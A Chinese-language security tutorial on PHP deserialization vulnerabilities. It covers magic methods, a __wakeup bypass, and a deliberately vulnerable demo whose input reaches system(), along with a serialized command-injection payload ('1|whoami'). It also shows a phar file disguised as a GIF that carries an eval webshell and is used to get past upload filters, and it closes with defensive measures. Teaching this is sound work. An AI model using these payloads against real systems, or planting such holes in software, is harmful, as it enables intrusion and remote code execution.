1、序列化与反序列化概述
什么是序列化与反序列化?
- 序列化(serialize):将对象转换为字符串
- 反序列化(unserialize):将字符串转换为对象
序列化机制出现的意义
php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。
简单例子
<?php
class Students{
public $name,$age;
public function __construct($name,$age){
$this->name=$name;
$this->age=$age;
}
}
$student1=new Students("zhansan",18);
$str=serialize($student1);
echo "序列化:\n".$str."\n";
$obj=unserialize($str);
echo "反序列化:\n";
print_r($obj);
?>
执行结果:
PHP序列化字符串释义(注意:此时类的属性为public):
- O:Object
- 8:对象所属类名长度
- Students:对象所属类名
- 2:类中的两个属性
- s:string
- 4:属性名长度
- name:属性名
- i:int
反序列化漏洞的产生原因:
在PHP代码中使用unserialize
函数反序列化某一个对象;该对象被调用时自动执行自定义的魔法方法;如果这些魔法方法中有危险的操作或者在魔法方法中去调用类中其他带有危险操作的函数且如果危险操作是我们可控的,那么就可能会触发php反序列化漏洞。
2、PHP魔法函数
-
__construct()
:当对象被创建时会自动调用<?php class Person{ public $name; public $age; public function __construct($name,$age) { $this->name=$name; $this->age=$age; echo "used construct!"; } } $person1=new Person('zhangsan','18'); // 输出 used construct! ?>
-
__destruct()
:当对象被销毁时会自动调用<?php class Person{ public $name; public $age; public function __construct($name,$age) { $this->name=$name; $this->age=$age; } public function __destruct() { echo "used destruct!"; } } $person1=new Person('zhangsan','18'); // 输出 used destruct! ?>
-
__sleep()
:当执行serialize()时,先会调用这个函数<?php class Person{ public $name; public $age; public function __construct($name,$age) { $this->name=$name; $this->age=$age; } public function __sleep() { echo "used sleep!"; } } $person1=new Person('zhangsan','18'); $str=serialize($person1); // 输出 used sleep! ?>
-
__wakeup()
:当执行unserialize()时,先会调用这个函数<?php class Person{ public $name; public $age; public function __construct($name,$age) { $this->name=$name; $this->age=$age; } public function __wakeup() { echo "used wakeup!"; } } $person1=new Person('zhangsan','18'); $str=serialize($person1); $obj=unserialize($str); // 输出 used wakeup! ?>
__wakeup()
方法绕过当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过
__wakeup
函数的执行。O:6:"Person":2:{s:4:"name";s:8:"zhangsan";s:3:"age";s:2:"18";}
其中Person后面的2,代表类中有2个属性,但如果我们把2改成3,就会绕过
__wakeup()
函数。O:6:"Person":3:{s:4:"name";s:8:"zhangsan";s:3:"age";s:2:"18";}
-
__toString()
:当反序列化后的对象被转换成字符串处理时自动调用<?php class Person{ public $name; public $age; public function __construct($name,$age) { $this->name=$name; $this->age=$age; } public function __toString() { return "used toString!"; } } $person1=new Person('zhangsan','18'); $str=serialize($person1); $obj=unserialize($str); echo $obj; // 输出 used toString! ?>
-
__get()
:当从不可访问的属性(private或没有的属性)中读取数据时自动调用<?php class Person{ public $name; public $age; private $sex; public function __construct($name,$age,$sex) { $this->name=$name; $this->age=$age; $this->sex=$sex; } public function __get($name) { echo "used get!"; } } $person1=new Person('zhangsan','18','female'); echo $person1->sex // 输出 used get! ?>
-
__set()
:当给不可访问的属性赋值时自动调用<?php class Person{ public $name; public $age; private $sex; public function __construct($name,$age,$sex) { $this->name=$name; $this->age=$age; $this->sex=$sex; } public function __set($naem,$age) { echo "used set!"; } } $person1=new Person('zhangsan','18','female'); $person1->sex='male'; // 输出 used set! ?>
-
__call()
:在对象中调用不可访问的方法时触发<?php class Person{ public $name; public $age; private $sex; public function __construct($name,$age,$sex) { $this->name=$name; $this->age=$age; $this->sex=$sex; } private function sercret(){ return "null"; } public function __call($naem,$age) { echo "used call!"; } } $person1=new Person('zhangsan','18','female'); $person1->sercret(); // 输出 used call! ?>
-
__invoke()
:当尝试以调用函数的方式调用一个对象时自动触发(PHP 5.3以上)<?php class Person{ public $name; public $age; private $sex; public function __construct($name,$age,$sex) { $this->name=$name; $this->age=$age; $this->sex=$sex; } public function __invoke() { echo "used invoke!"; } } $person1=new Person('zhangsan','18','female'); $person1(); // 输出 used invoke! ?>
ps 其中__toString
魔法方法触发条件比较多∶
- echo($obj) 打印时触发
- 反序列化对象与字符串连接时
- 反序列化对象参与格式化字符串时
- 反序列化对象与字符串进行 == 比较时(PHP进行==比较时会转换参数类型)
- 反序列化对象参与格式化sql语句,绑定参数时
- 反序列化对象在经过php字符串函数,如strlen()、addslashes()时
- 在in array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回
的字符串时toString会被调用 - 反序列化对象作为class_exists()的参数时
3、反序列化漏洞实例
利用漏洞思路:
(1)一般反序列化漏洞都是通过代码审计而发现,一般的黑盒测试是很难发现的。
(2)假如我们通过代码审计发现了漏洞,我们要测试这个漏洞,那么我可以根据站点后台的逻辑进行payload的生成。
(3)我们将生成的payload(一串序列化的字符串)通过前台接口发送至后台,后台在创建、销毁对象的时候会执行魔法函数,完成预期攻击。
实例
demo.php
<?php
class home{
private $method;
private $args;
function __construct($method,$args)
{
$this->method=$method;
$this->args=$args;
}
/*
* 在对象被销毁时,会自动调用__destruct()方法
* 此方法中会执行回调函数,即ping方法
* 可以在实例化对象时将method设为ping,尝试命令执行
*/
function __destruct(){
// in_array() 函数搜索数组中是否存在指定的值,这里method如果是ping,则返回true
if (in_array($this->method,array("ping"))){
// 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array(array($this,$this->method),$this->args);
}
}
/*
* ping方法使用了system执行系统命令,为可利用点
*/
function ping($host){
echo system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
}
function __wakeup(){
$this->waf($this->args);
}
}
$a=@$_POST['a'];
@unserialize($a);
?>
生成payload
<?php
class home{
private $method;
private $args;
function __construct($method,$args)
{
$this->method=$method;
$this->args=$args;
}
}
$test=new home('ping',array('1|whoami'));
echo serialize($test);
// O:4:"home":2:{s:12:"homemethod";s:4:"ping";s:10:"homeargs";a:1:{i:0;s:8:"1|whoami";}}
?>
payload
a=O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:8:"1|whoami";}}
类中属性为private时,表示方式是在属性名前加上 %00类名%00
类中属性为protected时,表示方式是在属性名前加上 %00*%00
提交payload,成功利用!
4、利用phar://的反序列化
简单来说
phar
就是php
压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file://
php://
等类似,也是一种流包装器。
Black Hat上,安全研究员Sam Thomas
分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
phar文件结构
stub
phar 文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;
manifest
压缩文件的属性等信息,以序列化存储;contents
压缩文件的内容;signature
签名,放在文件末尾;
创建phar文件
注意:要将php.ini中的phar.readonly
选项设置为Off
,否则无法生成phar文件。
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
执行后生成一个phar.phar
,自定义的meta-data以序列化的形式存储
php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试如下:
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
demo
<?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class heello{
var $output='echo "heello!";';
function __destruct()
{
eval($this->output);
}
}
file_exists($filename);
}
else{
highlight_file(__FILE__);
}
?>
这里虽然没有unserialize()
执行反序列化,但可以结合file_exists()
函数在通过phar://
伪协议解析phar文件时,会将meta-data进行反序列化,进而触发__destruct()
函数,利用eval()
函数达到命令执行。
ps:可将phar伪造成其他格式的文件(添加任意的文件头+修改后缀名),绕过文件上传检测,上传“phar文件”到服务器进行利用。
使用如下代码生成phar文件:
<?php
class heello {
var $output='@eval($_GET[1]);';
}
@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new heello();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
将test.phar
改为test.gif
并上传,访问?filename=phar://test.gif/test.txt&1=phpinfo();
5、防御
-
认证和签名
通过认证,来避免应用接受黑客的异常输入。对于点对点的服务,我们可以通过加入签名的方式来进行防护。比如,对存储的数据进行签名,以此对调用来源进行身份校验。只要黑客获取不到密钥信息,它就无法向进行反序列化的服务接口发送数据,也就无从发起反序列化攻击了。
-
限制序列化和反序列化的类
可以通过构建黑名单的方式,来检测反序列化过程中调用链的异常。
-
RASP检测
业内推出了 RASP(Runtime Application Self-Protection,实时程序自我保护)。RASP 通过 hook 等方式,在这些关键函数的调用中,增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑,能够在不修改代码的情况下对反序列化漏洞攻击实现拦截。
6、参考资料
[2] PHP反序列化入门之phar